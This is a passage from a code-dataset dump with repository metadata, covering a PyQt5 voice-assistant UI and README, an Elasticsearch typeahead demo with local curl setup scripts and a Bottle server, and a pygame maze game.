QtWidgets.QGridLayout(self.frame_3)\n self.gridLayout_2.setObjectName(\"gridLayout_2\")\n self.label_2 = QtWidgets.QLabel(self.frame_3)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label_2.sizePolicy().hasHeightForWidth())\n self.label_2.setSizePolicy(sizePolicy)\n self.label_2.setMinimumSize(QtCore.QSize(405, 138))\n self.label_2.setMaximumSize(QtCore.QSize(393, 137))\n self.label_2.setStyleSheet(\"\")\n self.label_2.setText(\"\")\n self.label_2.setPixmap(QtGui.QPixmap(\":/resources/icons/in.gif\"))\n self.label_2.setObjectName(\"label_2\")\n self.gridLayout_2.addWidget(self.label_2, 0, 2, 1, 1)\n spacerItem1 = QtWidgets.QSpacerItem(82, 20, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum)\n self.gridLayout_2.addItem(spacerItem1, 0, 0, 1, 1)\n spacerItem2 = QtWidgets.QSpacerItem(41, 20, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum)\n self.gridLayout_2.addItem(spacerItem2, 0, 3, 1, 1)\n self.verticalLayout_2.addWidget(self.frame_3)\n self.frame_2 = QtWidgets.QFrame(self.frame)\n self.frame_2.setMinimumSize(QtCore.QSize(758, 209))\n self.frame_2.setMaximumSize(QtCore.QSize(800, 203))\n self.frame_2.setStyleSheet(\"background: rgba(191, 64, 64, 0);\")\n self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel)\n self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised)\n self.frame_2.setObjectName(\"frame_2\")\n self.horizontalLayout = QtWidgets.QHBoxLayout(self.frame_2)\n self.horizontalLayout.setContentsMargins(0, 0, 0, 0)\n self.horizontalLayout.setSpacing(28)\n self.horizontalLayout.setObjectName(\"horizontalLayout\")\n self.label_3 = QtWidgets.QLabel(self.frame_2)\n self.label_3.setMinimumSize(QtCore.QSize(0, 0))\n self.label_3.setMaximumSize(QtCore.QSize(274, 168))\n self.label_3.setStyleSheet(\"background-color: rgba(255, 255, 255, 0);\")\n self.label_3.setText(\"\")\n self.label_3.setPixmap(QtGui.QPixmap(\":/resources/icons/powersource.gif\"))\n self.label_3.setScaledContents(True)\n self.label_3.setObjectName(\"label_3\")\n self.horizontalLayout.addWidget(self.label_3)\n self.label_5 = QtWidgets.QLabel(self.frame_2)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label_5.sizePolicy().hasHeightForWidth())\n self.label_5.setSizePolicy(sizePolicy)\n self.label_5.setMinimumSize(QtCore.QSize(238, 41))\n self.label_5.setMaximumSize(QtCore.QSize(219, 183))\n self.label_5.setSizeIncrement(QtCore.QSize(0, 0))\n self.label_5.setStyleSheet(\"background: rgba(255, 255, 255, 0);\")\n self.label_5.setText(\"\")\n self.label_5.setPixmap(QtGui.QPixmap(\":/resources/icons/phoenix.png\"))\n self.label_5.setScaledContents(True)\n self.label_5.setObjectName(\"label_5\")\n self.horizontalLayout.addWidget(self.label_5)\n self.label = QtWidgets.QLabel(self.frame_2)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth())\n self.label.setSizePolicy(sizePolicy)\n self.label.setMinimumSize(QtCore.QSize(61, 48))\n self.label.setMaximumSize(QtCore.QSize(225, 221))\n self.label.setToolTipDuration(-3)\n self.label.setFrameShape(QtWidgets.QFrame.Box)\n self.label.setText(\"\")\n self.label.setPixmap(QtGui.QPixmap(\":/resources/icons/globe.gif\"))\n self.label.setScaledContents(True)\n self.label.setObjectName(\"label\")\n self.horizontalLayout.addWidget(self.label)\n self.verticalLayout_2.addWidget(self.frame_2)\n spacerItem3 = QtWidgets.QSpacerItem(20, 80, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n self.verticalLayout_2.addItem(spacerItem3)\n self.frame_4 = QtWidgets.QFrame(self.frame)\n self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel)\n self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised)\n self.frame_4.setObjectName(\"frame_4\")\n self.horizontalLayout_2 = QtWidgets.QHBoxLayout(self.frame_4)\n self.horizontalLayout_2.setContentsMargins(5, -1, 4, 9)\n self.horizontalLayout_2.setSpacing(1)\n self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\")\n spacerItem4 = QtWidgets.QSpacerItem(194, 20, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout_2.addItem(spacerItem4)\n self.pushButton = QtWidgets.QPushButton(self.frame_4)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.pushButton.sizePolicy().hasHeightForWidth())\n self.pushButton.setSizePolicy(sizePolicy)\n self.pushButton.setMinimumSize(QtCore.QSize(62, 61))\n self.pushButton.setMaximumSize(QtCore.QSize(48, 55))\n self.pushButton.setStyleSheet(\"QPushButton {\\n\"\n\" color: #333;\\n\"\n\" border: 2px solid #555;\\n\"\n\" border-radius: 30px;\\n\"\n\" border-style: outset;\\n\"\n\" background: qradialgradient(\\n\"\n\" cx: 0.3, cy: -0.4, fx: 0.3, fy: -0.4,\\n\"\n\" radius: 1.35, stop: 0 #fff, stop: 1 #888\\n\"\n\" );\\n\"\n\" padding: 5px;\\n\"\n\" }\\n\"\n\"\\n\"\n\"QPushButton:hover {\\n\"\n\" background: qradialgradient(\\n\"\n\" cx: 0.3, cy: -0.4, fx: 0.3, fy: -0.4,\\n\"\n\" radius: 1.35, stop: 0 #fff, stop: 1 #bbb\\n\"\n\" );\\n\"\n\" }\\n\"\n\"\\n\"\n\"QPushButton:pressed {\\n\"\n\" border-style: inset;\\n\"\n\" background: qradialgradient(\\n\"\n\" cx: 0.4, cy: -0.1, fx: 0.4, fy: -0.1,\\n\"\n\" radius: 1.35, stop: 0 #fff, stop: 1 #ddd\\n\"\n\" );\\n\"\n\" }\")\n self.pushButton.setText(\"\")\n self.pushButton.setObjectName(\"pushButton\")\n self.horizontalLayout_2.addWidget(self.pushButton)\n self.label_4 = QtWidgets.QLabel(self.frame_4)\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label_4.sizePolicy().hasHeightForWidth())\n self.label_4.setSizePolicy(sizePolicy)\n self.label_4.setMinimumSize(QtCore.QSize(100, 33))\n self.label_4.setMaximumSize(QtCore.QSize(300, 70))\n self.label_4.setStyleSheet(\"background-color: rgba(255, 255, 255, 0);\")\n self.label_4.setText(\"\")\n self.label_4.setPixmap(QtGui.QPixmap(\":/resources/icons/lines1.gif\"))\n self.label_4.setScaledContents(True)\n self.label_4.setObjectName(\"label_4\")\n self.horizontalLayout_2.addWidget(self.label_4)\n spacerItem5 = QtWidgets.QSpacerItem(182, 20, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout_2.addItem(spacerItem5)\n self.verticalLayout_2.addWidget(self.frame_4)\n self.gridLayout.addWidget(self.frame, 0, 0, 1, 1)\n\n self.retranslateUi(Form)\n QtCore.QMetaObject.connectSlotsByName(Form)\n\n def retranslateUi(self, Form):\n _translate = QtCore.QCoreApplication.translate\n Form.setWindowTitle(_translate(\"Form\", \"Form\"))\n self.btn_minimize_5.setToolTip(_translate(\"Form\", \"Minimize\"))\n self.btn_close_5.setToolTip(_translate(\"Form\", \"Close\"))\nimport resources_rc\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n Form = QtWidgets.QWidget()\n ui = Ui_Form()\n ui.setupUi(Form)\n Form.show()\n sys.exit(app.exec_())\n" }, { "alpha_fraction": 0.7229002118110657, "alphanum_fraction": 0.760947585105896, "avg_line_length": 16.287500381469727, "blob_id": "861230a7e6a3518bf9579d5c88000a48e37ae6b2", "content_id": "6003fc8b3024031704ad087b407eccd1a31483cb", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1393, "license_type": "permissive", "max_line_length": 109, "num_lines": 80, "path": "/README.md", "repo_name": "DevangML/Phoenix-The-Virtual-Assistant", "src_encoding": "UTF-8", "text": "# Phoenix-The-Virtual-Assistant\nThis is the repository for Phoenix-The Virtual Assistant\n\n# Main Screen\n<p align=\"center\">\n<img src=\"images/Output.png\" width=\"350px\" height=\"300px\">\n</p>\n\n# Modules\n<pre>\n1. Tell date\n2. Tell time\n3. Launch app\n4. Open website\n5. Tell Weather\n6. Wikipedia search\n7. Tell News\n8. Play Music\n9. YouTube search\n10. Tell Joke\n11. Tell location of a place\n12. IP address\n13. Switch window\n14. Tell my location\n15. Take a screenshot\n16. Hide all files\n17. Make files visible\n18. Calculate\n19. Computational Intelligence\n20. Goodbye/you can sleep now/wake up\n21. Shutdown/restart system\n22. Remember stuff\n23. Who are you/ Who made you\n24. wish me\n25. Birthday Wishes\n</pre>\n# Libraries (modules) Used\n<pre>\nPyQt5\nrandom\npyjokes\ntime\npyautogui\npywhatkit\nwolframalpha\nPIL\nos\nre\nsys\nspeech_recognition\npyttsx3\ndatetime\nfuture\npytz\npickle\ngoogleapiclient\nselenium\nsubprocess\nrequests\ngeopy\ngeocoder\nwebbrowser\njson\nwikipedia\nurllib\n\nAPI(s) Used:\nwolfram alpha API\nOpenWeather API\n</pre>\n\n# Installation\n<pre>\n&emsp;1. Open the Folder and then do shift-right click; then open command window here.\n&emsp;2. Create virtual environment and then install all modules from requirements.txt.\n&emsp;3. Also install pyaudio using whl given in repo, or download your own for your specific python version.\n&emsp;4. Run main.py using this venv.\n</pre>\n \n# Thank You\n \n\n" } ]
6
rajaram5/typeahead-with-elasticsearch
https://github.com/rajaram5/typeahead-with-elasticsearch
6bdf7e0f4f9baaf2d598573cb659890f629bbb0a
a4e270994d719f756ca1acc6d425d006587514b2
f69d93c40293275f142b3ff12dc62a7be516dd84
refs/heads/master
2020-12-25T01:30:58.065587
2012-08-24T19:07:33
2012-08-24T19:07:33
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5473088026046753, "alphanum_fraction": 0.5813031196594238, "avg_line_length": 45.43421173095703, "blob_id": "5673d3f93196643eab7372e8c1adf3c083ed8470", "content_id": "2ce39fb82534021ae0f943b55d2071035791c97d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 3530, "license_type": "no_license", "max_line_length": 123, "num_lines": 76, "path": "/setup.sh", "repo_name": "rajaram5/typeahead-with-elasticsearch", "src_encoding": "UTF-8", "text": "\ncurl -XDELETE \"http://localhost:9200/topics?pretty=true\"; echo\n\ncurl -XPOST \"http://localhost:9200/topics?pretty=true\" -d '{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_start\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [\"asciifolding\", \"lowercase\", \"my_edge\"]\n },\n \"my_sort\": {\n \"tokenizer\": \"keyword\",\n \"filter\": [\"asciifolding\", \"lowercase\"]\n }\n },\n \"filter\": {\n \"my_edge\": {\n \"type\": \"edgeNGram\",\n \"min_gram\": 1,\n \"max_gram\": 10,\n \"side\": \"front\"\n }\n }\n }\n },\n\n \"mappings\": {\n \"global_topic\": {\n \"properties\": {\n \"name\": {\n \"type\": \"multi_field\",\n \"fields\": {\n \"start\": { \"type\": \"string\", \"analyzer\": \"my_start\", \"include_in_all\": false },\n \"sort\": { \"type\": \"string\", \"analyzer\": \"my_sort\", \"include_in_all\": false }\n }\n }\n }\n },\n \"user_topic\": {\n \"properties\": {\n \"name\": {\n \"type\": \"multi_field\",\n \"fields\": {\n \"start\": { \"type\": \"string\", \"analyzer\": \"my_start\", \"include_in_all\": false },\n \"sort\": { \"type\": \"string\", \"analyzer\": \"my_sort\", \"include_in_all\": false }\n }\n }\n }\n }\n }\n}'; echo\n\nsleep 1\n\ncurl -XPUT \"http://localhost:9200/topics/global_topic/1?pretty=true\" -d '{ \"name\" : \"Cheese\" }'; echo\ncurl -XPUT \"http://localhost:9200/topics/global_topic/2?pretty=true\" -d '{ \"name\" : \"Cheesecake\" }'; echo\ncurl -XPUT \"http://localhost:9200/topics/global_topic/3?pretty=true\" -d '{ \"name\" : \"Cheese plate\" }'; echo\ncurl -XPUT \"http://localhost:9200/topics/global_topic/4?pretty=true\" -d '{ \"name\" : \"Grilled Cheese\"}'; echo\ncurl -XPUT \"http://localhost:9200/topics/global_topic/5?pretty=true\" -d '{ \"name\" : \"Grilled Cheese Sandwich\" }'; echo\ncurl -XPUT \"http://localhost:9200/topics/global_topic/6?pretty=true\" -d '{ \"name\" : \"Dutch Cheese\" }'; echo\ncurl -XPUT \"http://localhost:9200/topics/global_topic/7?pretty=true\" -d '{ \"name\" : \"Cheese & Crackers\" }'; echo\ncurl -XPUT \"http://localhost:9200/topics/global_topic/8?pretty=true\" -d '{ \"name\" : \"Cheese Factory\" }'; echo\ncurl -XPUT \"http://localhost:9200/topics/global_topic/9?pretty=true\" -d '{ \"name\" : \"Cheesecake Factory\" }'; echo\ncurl -XPUT \"http://localhost:9200/topics/global_topic/10?pretty=true\" -d '{ \"name\" : \"French Cheese\" }'; echo\ncurl -XPUT \"http://localhost:9200/topics/global_topic/11?pretty=true\" -d '{ \"name\" : \"Soft Cheese\" }'; echo\ncurl -XPUT \"http://localhost:9200/topics/global_topic/12?pretty=true\" -d '{ \"name\" : \"Cheeseballs\" }'; echo\ncurl -XPUT \"http://localhost:9200/topics/global_topic/12?pretty=true\" -d '{ \"name\" : \"Crazy\" }'; echo\ncurl -XPUT \"http://localhost:9200/topics/global_topic/13?pretty=true\" -d '{ \"name\" : \"Crazy\" }'; echo\ncurl -XPUT \"http://localhost:9200/topics/global_topic/13?pretty=true\" -d '{ \"name\" : \"Cranky\" }'; echo\ncurl -XPUT \"http://localhost:9200/topics/global_topic/14?pretty=true\" -d '{ \"name\" : \"Cheese Crack\" }'; echo\ncurl -XPUT \"http://localhost:9200/topics/global_topic/15?pretty=true\" -d '{ \"name\" : \"Crack store\" }'; echo\n\n\ncurl -XPUT \"http://localhost:9200/topics/user_topic/1?pretty=true\" -d '{ \"user\": \"stefan\", \"name\" : \"Cheesecake\" }'; echo\ncurl -XPUT \"http://localhost:9200/topics/user_topic/2?pretty=true\" -d '{ \"user\": \"stefan\", \"name\" : \"Dutch Cheese\" }'; echo\ncurl -XPUT \"http://localhost:9200/topics/user_topic/3?pretty=true\" -d '{ \"user\": \"alice\", \"name\" : \"Cheesecrab\" }'; echo\n" }, { "alpha_fraction": 0.5276639461517334, "alphanum_fraction": 0.5445696711540222, "avg_line_length": 27.705883026123047, "blob_id": "753aa2cc8278f435856ef5bd75b8cc9937dd1166", "content_id": "8d61a710c7764a07a645848ac3cfa17677e51448", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1952, "license_type": "no_license", "max_line_length": 97, "num_lines": 68, "path": "/search.py", "repo_name": "rajaram5/typeahead-with-elasticsearch", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\n\nfrom bottle import route, run, request, response, static_file, post\nimport json\nimport requests\n\n\n@route('/')\ndef root():\n return static_file('search.html', root='.', mimetype='text/html')\n\n\n@route('/search')\ndef search():\n\n query = {\n \"fields\": [ \"name\" ],\n \"query\": {\n \"text_phrase\": { \"name.start\": request.query.q }\n }\n }\n r = requests.get(\"http://127.0.0.1:9200/topics/global_topic/_search?pretty=true\",\n data=json.dumps(query))\n global_results = json.loads(r.text)\n\n query = {\n \"fields\": [\"name\"],\n \"query\": {\n \"bool\": {\n \"must\": [\n { \"text_phrase\": { \"name.start\": request.query.q } },\n { \"term\": { \"user\": request.query.user } }\n ] \n }\n }\n }\n r = requests.get(\"http://127.0.0.1:9200/topics/user_topic/_search?pretty=true\",\n data=json.dumps(query))\n personal_results = json.loads(r.text)\n\n personal_topics = [hit['fields']['name'] for hit in personal_results['hits']['hits']]\n\n results = []\n for hit in personal_results['hits']['hits']:\n results.append({ 'id': hit['_id'], 'name': hit['fields']['name'], 'type': 'personal' })\n for hit in global_results['hits']['hits']:\n if hit['fields']['name'] not in personal_topics:\n results.append({ 'id': hit['_id'], 'name': hit['fields']['name'], 'type': 'global' })\n\n response.content_type = \"application/json\"\n return json.dumps({'results': results }, sort_keys = False, indent = 4) + \"\\n\"\n\n\n@post('/personalize')\ndef personalize():\n\n document = {\n \"name\": request.forms.get(\"name\"),\n \"user\": request.forms.get(\"user\")\n }\n r = requests.post(\"http://localhost:9200/topics/user_topic/\", data=json.dumps(document))\n\n response.content_type = \"application/json\"\n return r.text\n\n\nrun(host='0.0.0.0', port=8081)\n" }, { "alpha_fraction": 0.4517453908920288, "alphanum_fraction": 0.46817249059677124, "avg_line_length": 26.05555534362793, "blob_id": "8a8eacd5723cbcc998844eb28307ebe863007087", "content_id": "4a3d40b2e56359311569137f9bba7f5c890cc68e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 487, "license_type": "no_license", "max_line_length": 80, "num_lines": 18, "path": "/search.sh", "repo_name": "rajaram5/typeahead-with-elasticsearch", "src_encoding": "UTF-8", "text": "curl -XGET \"http://localhost:9200/topics/global_topic/_search?pretty=true\" -d '{\n \"fields\": [\"name\"],\n \"query\": {\n \"text_phrase\": { \"name.start\": \"cheesec\" }\n }\n}'; echo\n\ncurl -XGET \"http://localhost:9200/topics/user_topic/_search?pretty=true\" -d '{\n \"fields\": [\"name\"],\n \"query\": {\n \"bool\": {\n \"must\": [\n { \"text_phrase\": { \"name.start\": \"cheesec\" } },\n { \"term\": { \"user\": \"stefan\" } }\n ]\n }\n }\n}'; echo\n" }, { "alpha_fraction": 0.4166032075881958, "alphanum_fraction": 0.4249809682369232, "avg_line_length": 24.705883026123047, "blob_id": "b4d98e2bd178413838a45b53f8520ad6238c429b", "content_id": "4fa7e0770d73cc77f1ff95e049c982895dd2a900", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1313, "license_type": "no_license", "max_line_length": 91, "num_lines": 51, "path": "/topics.sh", "repo_name": "rajaram5/typeahead-with-elasticsearch", "src_encoding": "UTF-8", "text": "\ncurl -XDELETE \"http://localhost:9200/topics?pretty=true\"; echo\n\ncurl -XPOST \"http://localhost:9200/topics?pretty=true\" -d '{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_start\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [\"asciifolding\", \"lowercase\", \"my_edge\"]\n },\n \"my_sort\": {\n \"tokenizer\": \"keyword\",\n \"filter\": [\"asciifolding\", \"lowercase\"]\n }\n },\n \"filter\": {\n \"my_edge\": {\n \"type\": \"edgeNGram\",\n \"min_gram\": 1,\n \"max_gram\": 10,\n \"side\": \"front\"\n }\n }\n }\n },\n\n \"mappings\": {\n \"global_topic\": {\n \"properties\": {\n \"name\": {\n \"type\": \"multi_field\",\n \"fields\": {\n \"start\": { \"type\": \"string\", \"analyzer\": \"my_start\", \"include_in_all\": false },\n \"sort\": { \"type\": \"string\", \"analyzer\": \"my_sort\", \"include_in_all\": false }\n }\n }\n }\n },\n \"user_topic\": {\n \"properties\": {\n \"name\": {\n \"type\": \"multi_field\",\n \"fields\": {\n \"start\": { \"type\": \"string\", \"analyzer\": \"my_start\", \"include_in_all\": false },\n \"sort\": { \"type\": \"string\", \"analyzer\": \"my_sort\", \"include_in_all\": false }\n }\n }\n }\n }\n }\n}'; echo\n\n" }, { "alpha_fraction": 0.48051947355270386, "alphanum_fraction": 0.5194805264472961, "avg_line_length": 24.5, "blob_id": "01497d6912ec41c4af226f20bb019a2a6796118f", "content_id": "6c702b67e48623509b436aa6fbe8a018ed336b80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 154, "license_type": "no_license", "max_line_length": 56, "num_lines": 6, "path": "/update.sh", "repo_name": "rajaram5/typeahead-with-elasticsearch", "src_encoding": "UTF-8", "text": "curl -XPOST 'localhost:9200/test/topic/14/_update' -d '{\n \"script\" : \"ctx._source.users += user\",\n \"params\" : {\n \"user\" : \"stefan\"\n }\n}'\n\n" } ]
5
MfonUdoh/Mazer
https://github.com/MfonUdoh/Mazer
568d9bf27c33149302df8b8fcb5e3b32d364691f
a766b2089c507fb371f7f7ecce19c2edcc851355
48640575bd4c1a26aa461b50f25b48501b047812
refs/heads/master
2020-05-16T18:26:50.570091
2020-03-09T14:01:56
2020-03-09T14:01:56
183,224,386
0
0
null
2019-04-24T12:28:55
2019-06-15T19:54:21
2020-03-09T14:01:57
Python
[ { "alpha_fraction": 0.49344977736473083, "alphanum_fraction": 0.5219489932060242, "avg_line_length": 40.4476203918457, "blob_id": "077d267e331a8dc0265c4c12ab9cb38cfe2f7ee2", "content_id": "70b6b839670f40b6c8889ec62b4e1a6ed0a4ab31", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4351, "license_type": "no_license", "max_line_length": 119, "num_lines": 105, "path": "/game.py", "repo_name": "MfonUdoh/Mazer", "src_encoding": "UTF-8", "text": "class Game(object):\n\n def __init__(self):\n #Board width\n self.size = 10\n self.minMoves = 0\n self.level = 0\n self.marksLocations = []\n self.wallsLocations = []\n self.empties = self.size ** 2 - len(self.wallsLocations) - len(self.marksLocations)\n self.maxLevels = 0\n self.x1 = 0\n self.y1 = 0\n self.x2= 0\n self.y2 = 0\n self.turns = 0\n\n def set_level(self, level):\n \"\"\"Assigns the location of all the walls and starting player position for the selected level\"\"\"\n self.minmoves = level.minMoves[self.level]\n self.wallsLocations = level.wallsLocations[self.level]\n self.marksLocations = []\n self.turns = 0\n self.maxLevels = len(level.minMoves) - 1\n self.x1 = level.playerPosition[self.level][0]\n self.x2 = level.playerPosition[self.level][0]\n self.y1 = level.playerPosition[self.level][1]\n self.y2 = level.playerPosition[self.level][1]\n self.empties = self.size ** 2 - len(self.wallsLocations) - len(self.marksLocations)\n \n def make_marks(self):\n \"\"\"Creates markers at every position that the player crosses\"\"\"\n if self.y1 == self.y2 and self.x2 > self.x1:\n for displace in range(self.x2 - self.x1 + 1):\n if [self.x1 + displace, self.y1] not in self.marksLocations:\n self.marksLocations.append([self.x1 + displace, self.y1])\n elif self.y1 == self.y2 and self.x1 > self.x2:\n for displace in range(self.x1 - self.x2 + 1):\n if [self.x2 + displace, self.y1] not in self.marksLocations:\n self.marksLocations.append([self.x2 + displace, self.y1])\n elif self.y2 > self.y1:\n for displace in range(self.y2 - self.y1 + 1):\n if [self.x1, self.y1 + displace] not in self.marksLocations:\n self.marksLocations.append([self.x1, self.y1 + displace])\n else:\n for displace in range(self.y1 - self.y2 + 1):\n if [self.x1, self.y2 + displace] not in self.marksLocations:\n self.marksLocations.append([self.x1, self.y2 + displace])\n self.empties = self.size ** 2 - len(self.wallsLocations) - len(self.marksLocations)\n\n def move(self, direction):\n \"\"\"Takes a direction and moves the player in that direction\"\"\"\n self.x1 = self.x2\n self.y1 = self.y2\n\n skip = self.distance_to_edge(direction)\n moves = {\n 'a' : [-skip, 0],\n 'd' : [skip, 0],\n 'w' : [0, -skip],\n 's' : [0, skip]\n }\n\n if \\\n direction in moves \\\n and self.x1 + moves[direction][0] in range(self.size) \\\n and self.y1 + moves[direction][1] in range(self.size):\n #if statement checks the move is in still in the maze and is a legal direction\n self.x2 = self.x1 + moves[direction][0]\n self.y2 = self.y1 + moves[direction][1]\n if self.x2 != self.x1 or self.y2 != self.y1:\n self.turns += 1 \n\n def distance_to_edge(self, direction):\n \"\"\"Calculates how far away the nearest wall or edge is and returns how far the self must travel to get there\"\"\"\n calc = []\n edge = 0\n \n for wall in self.wallsLocations:\n #I think I can simplify the logic here\n if direction == 'd':\n edge = (self.size - 1) - self.x1\n if wall[1] == self.y2 and (wall[0] - self.x1) > 0:\n calc.append(wall[0] - self.x1)\n \n elif direction == 'a':\n edge = self.x1\n if wall[1] == self.y2 and (self.x1 - wall[0]) > 0:\n calc.append(self.x1 - wall[0])\n \n elif direction == 's':\n edge = (self.size - 1) - self.y2\n if wall[0] == self.x1 and (wall[1] - self.y2) > 0:\n calc.append(wall[1] - self.y2)\n \n elif direction == 'w':\n edge = self.y2\n if wall[0] == self.x1 and (self.y2 - wall[1]) > 0:\n calc.append(self.y2 - wall[1])\n\n if calc == []:\n calc = edge\n else:\n calc = min(calc)-1\n return calc" }, { "alpha_fraction": 0.5013047456741333, "alphanum_fraction": 0.5384169220924377, "avg_line_length": 36.09677505493164, "blob_id": "b1c518ef7930e6370d0af1e626b91c3fff6492e4", "content_id": "b284c39d44519c9d2d44ad4dd29ffe1c2828f384", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3449, "license_type": "no_license", "max_line_length": 162, "num_lines": 93, "path": "/main.py", "repo_name": "MfonUdoh/Mazer", "src_encoding": "UTF-8", "text": "import levels, pygame, game\nfrom pygame.locals import *\n\ngame = game.Game()\n\nrunning = True\nend = False\n\n\npygame.init()\nscreen_width = 600\nscreen_height = 600\nmultiple = 50\nscreen = pygame.display.set_mode((screen_width, screen_height))\npygame.display.set_caption(\"Mazer\")\nradius = int(0.5 * multiple)\nwallwidth = int(1 * multiple)\nmarkradius = int(0.05 * multiple)\nscores = []\n\n\nwhile running:\n playing = True\n refresh = True\n game.set_level(levels)\n x = multiple * (game.x1 + 1) + radius\n y = multiple * (game.y1 + 1) + radius\n font = pygame.font.SysFont(None, 20)\n pygame.time.delay(100)\n\n while playing:\n keys = pygame.key.get_pressed()\n if game.empties != 0:\n if keys[pygame.K_LEFT] or keys[pygame.K_a]:\n # Can make it only refresh if the move returns true\n game.move('a')\n refresh = True\n elif keys[pygame.K_RIGHT] or keys[pygame.K_d]:\n game.move('d')\n refresh = True\n elif keys[pygame.K_UP] or keys[pygame.K_w]:\n game.move('w')\n refresh = True\n elif keys[pygame.K_DOWN] or keys[pygame.K_s]:\n game.move('s')\n refresh = True\n else:\n if game.turns > 100 + game.minMoves:\n game.turns = 100 + game.minMoves\n scores.append(100-(game.turns-game.minMoves))\n game.level += 1\n if game.level >= game.maxLevels:\n end = True\n break\n if refresh:\n game.make_marks()\n x = multiple * (game.x1 + 1) + radius\n y = multiple * (game.y1 + 1) + radius\n screen.fill((0, 0, 0))\n textSurface = font.render(\"LEVEL: {} TURNS: {} EMPTY SPACES: {}\".format(game.level, game.turns, game.empties), True, [255, 255, 255], [0, 0, 0])\n screen.blit(textSurface, (int(0.2 * multiple), int(0.3 * multiple)))\n for mark in game.marksLocations:\n pygame.draw.circle(screen, (255, 255, 255), (int(multiple * (1.5 + mark[0])), int(multiple * (1.5 + mark[1]))), markradius)\n pygame.draw.circle(screen, (255, 255, 0), (x, y), radius, )\n for wall in game.wallsLocations:\n pygame.draw.rect(screen, (255, 255, 255), (int(multiple * (1 + wall[0])), int(multiple * (1 + wall[1])), wallwidth, wallwidth))\n pygame.display.update()\n refresh = False\n \n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n playing = False\n running = False\n if end:\n totalscore = sum(scores)\n screen.fill((0, 0, 0))\n textSurface = font.render(\"Congratulations, you have completed the game!\", True, [255, 255, 255], [0, 0, 0])\n screen.blit(textSurface, (int(0.2 * multiple), int(0.3 * multiple)))\n scoreSurface = font.render(\"Final Score: {}/500\".format(totalscore), True, [255, 255, 255], [0, 0, 0])\n screen.blit(scoreSurface, (int(5 * multiple), int(5 * multiple)))\n pygame.display.update()\n while end:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n playing = False\n end = False\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n\npygame.quit()" }, { "alpha_fraction": 0.7939262390136719, "alphanum_fraction": 0.7968184947967529, "avg_line_length": 114.25, "blob_id": "8579ea2dc74a73fbc26187751bc11e7ab65329e3", "content_id": "a3bc04d03d27abf38cef39d23067e2810eae6a3c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1383, "license_type": "no_license", "max_line_length": 364, "num_lines": 12, "path": "/README.md", "repo_name": "MfonUdoh/Mazer", "src_encoding": "UTF-8", "text": "# Mazer\n\nA fun little maze based game where the player has to navigate their way around a maze and visit every blank space on the game board in order to complete a level. The player can only choose the direction in which they wish to travel, they will continue to travel in this direction continuously until they hit an edge, this is where the challenge in the game stems. \n\nI have constructed a total of 5 levels in varying difficulty for the user to play through. I would like to build an in-game level creator so the user can make their own new levels but before I can do that I would prefer to learn enough to be able to make it a GUI rather than command lines.\n\nCreating new levels for the game still remains relatively easy by altering the code:\nSimply fork the repo,\nadd new entries to the set_level method in the game class,\nthe dictionaries in this method store the co-ordinates of both the obstacles positions and the player's start position and also the estimated minimum number of moves (to generate a score for the user) it takes to beat the level, also remember to change line 210 to match the total number of levels you have if you've added more.\n\nMy main reason for creating the game was to try to learn more about object-oriented structure. The key objects of the program are seperated into classes and the classes are stored in individual .py files since refactor.\n" } ]
3
SuperFireFoxy/CorePythonProgramming
